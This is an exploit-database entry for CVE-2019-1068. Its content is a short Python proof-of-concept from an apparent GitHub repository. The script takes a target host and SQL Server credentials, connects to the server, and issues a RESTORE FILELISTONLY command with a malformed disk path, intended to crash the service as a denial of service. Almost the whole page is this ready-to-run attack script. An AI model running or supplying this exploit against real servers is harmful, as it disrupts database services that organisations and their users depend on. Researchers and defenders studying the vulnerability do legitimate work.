Exploit databaseDownload repository ZIP
GH-1db9ff1b36fb69d39f77ce39fc0c7f3f
vulnerability-playground/cve-2019-1068
Sources for CVE-2019-1068
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files2
vulnerability-playground/cve-2019-1068Revision 1c322ff5fbfd
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
cve-2019-1068_DoS_PoC.py
Python · 801 bytes#!/usr/bin/env python
__DATE__ = '05.02.2021'
__VERSION__ = 0.1
import pypyodbc as pyodbc
import sys
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target-host', help="Target Host", action="store", required=True)
parser.add_argument('-u', '--user', help="SQL Server Username", action="store", required=True)
parser.add_argument('-p', '--password' , help="SQL Server Password", action="store", required=True)
args = parser.parse_args()
connection_string = 'Driver={SQL Server};Server=' + args.target_host + ';' + ';UID=' + args.user + ';PWD=' + args.password + ';'
conn = pyodbc.connect(connection_string)
cursor = conn.cursor()
try:
cursor.execute("RESTORE FILELISTONLY FROM DISK='C:AAA';")
except pyodbc.DatabaseError as e:
print("Crashed.")
exit(0)